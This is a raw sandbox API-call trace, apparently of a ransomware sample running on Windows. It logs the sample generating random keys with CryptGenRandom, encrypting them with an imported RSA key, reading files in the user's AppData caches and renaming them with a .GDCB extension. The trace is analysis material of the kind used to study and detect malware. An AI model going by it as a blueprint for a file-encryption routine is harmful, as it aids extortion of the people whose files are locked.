[0221.857] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.858] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.858] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0221.858] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.859] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0221.861] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485340) returned 1 [0221.861] CryptGetKeyParam (in: hKey=0x6485340, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.861] CryptEncrypt (in: hKey=0x6485340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0221.861] GetLastError () returned 0x0 [0221.861] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.861] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0221.863] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485380) returned 1 [0221.863] CryptGetKeyParam (in: hKey=0x6485380, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.863] CryptEncrypt (in: hKey=0x6485380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0221.864] GetLastError () returned 0x0 [0221.864] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.864] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{C20F58C1-CDD0-45F9-9954-BDF0782633CB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{c20f58c1-cdd0-45f9-9954-bdf0782633cb}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0221.865] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0221.867] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0221.868] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0221.925] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0221.930] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{C20F58C1-CDD0-45F9-9954-BDF0782633CB}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{c20f58c1-cdd0-45f9-9954-bdf0782633cb}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{C20F58C1-CDD0-45F9-9954-BDF0782633CB}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{c20f58c1-cdd0-45f9-9954-bdf0782633cb}.png.gdcb")) returned 1 [0221.934] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0221.935] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.936] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.936] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0221.937] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.937] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0221.938] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.939] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.939] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0221.939] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0221.939] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0221.942] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485680) returned 1 [0221.942] CryptGetKeyParam (in: hKey=0x6485680, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.942] CryptEncrypt (in: hKey=0x6485680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0221.942] GetLastError () returned 0x0 [0221.942] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.942] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0221.944] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485f80) returned 1 [0221.944] CryptGetKeyParam (in: hKey=0x6485f80, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.944] CryptEncrypt (in: hKey=0x6485f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0221.944] GetLastError () returned 0x0 [0221.944] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.944] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{CE4E71D0-F1F5-4983-B2E3-40DB737B9226}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{ce4e71d0-f1f5-4983-b2e3-40db737b9226}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0221.946] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0221.947] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0221.948] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0221.958] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0221.962] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{CE4E71D0-F1F5-4983-B2E3-40DB737B9226}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{ce4e71d0-f1f5-4983-b2e3-40db737b9226}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{CE4E71D0-F1F5-4983-B2E3-40DB737B9226}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{ce4e71d0-f1f5-4983-b2e3-40db737b9226}.png.gdcb")) returned 1 [0221.966] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0221.968] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.969] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.969] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0221.969] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.969] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0221.971] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.971] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.972] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0221.972] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.972] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0221.974] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485fc0) returned 1 [0221.974] CryptGetKeyParam (in: hKey=0x6485fc0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.974] CryptEncrypt (in: hKey=0x6485fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0221.974] GetLastError () returned 0x0 [0221.974] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.974] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0221.976] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485a40) returned 1 [0221.976] CryptGetKeyParam (in: hKey=0x6485a40, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.976] CryptEncrypt (in: hKey=0x6485a40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0221.976] GetLastError () returned 0x0 [0221.976] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.976] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{D1CC3A2E-2BC2-4715-AD4C-90B4CA0868C0}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{d1cc3a2e-2bc2-4715-ad4c-90b4ca0868c0}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0221.978] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0221.979] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0221.980] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0221.990] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0221.995] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{D1CC3A2E-2BC2-4715-AD4C-90B4CA0868C0}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{d1cc3a2e-2bc2-4715-ad4c-90b4ca0868c0}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{D1CC3A2E-2BC2-4715-AD4C-90B4CA0868C0}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{d1cc3a2e-2bc2-4715-ad4c-90b4ca0868c0}.png.gdcb")) returned 1 [0222.363] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.365] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.366] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.366] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.366] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.366] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0222.368] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.369] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.369] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.369] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0222.369] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.371] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486000) returned 1 [0222.371] CryptGetKeyParam (in: hKey=0x6486000, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.371] CryptEncrypt (in: hKey=0x6486000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.372] GetLastError () returned 0x0 [0222.372] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.372] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.374] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485ec0) returned 1 [0222.374] CryptGetKeyParam (in: hKey=0x6485ec0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.374] CryptEncrypt (in: hKey=0x6485ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.374] GetLastError () returned 0x0 [0222.374] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.374] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{2546D910-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{2546d910-b905-4d30-88c9-b63c603da134}.3.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.374] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.376] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.378] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.378] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.378] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.378] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.379] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.380] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.380] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.380] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.381] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0222.383] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485d00) returned 1 [0222.383] CryptGetKeyParam (in: hKey=0x6485d00, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.383] CryptEncrypt (in: hKey=0x6485d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7520000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7520000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.383] GetLastError () returned 0x0 [0222.383] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.383] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0222.385] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485d40) returned 1 [0222.385] CryptGetKeyParam (in: hKey=0x6485d40, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.385] CryptEncrypt (in: hKey=0x6485d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7530000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7530000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.385] GetLastError () returned 0x0 [0222.385] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0222.385] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000033.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000033.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.385] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.387] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.389] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.389] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.389] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.390] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.391] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.391] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0222.391] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.391] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.394] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485b80) returned 1 [0222.394] CryptGetKeyParam (in: hKey=0x6485b80, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.394] CryptEncrypt (in: hKey=0x6485b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7540000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7540000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0222.394] GetLastError () returned 0x0 [0222.394] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.394] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0222.396] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485c00) returned 1 [0222.396] CryptGetKeyParam (in: hKey=0x6485c00, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0222.396] CryptEncrypt (in: hKey=0x6485c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7550000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7550000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0222.396] GetLastError () returned 0x0 [0222.396] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0222.396] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000034.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000034.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0222.396] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0222.398] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0222.399] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0222.399] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0222.399] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0222.400] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0222.401] GetModuleHandleA 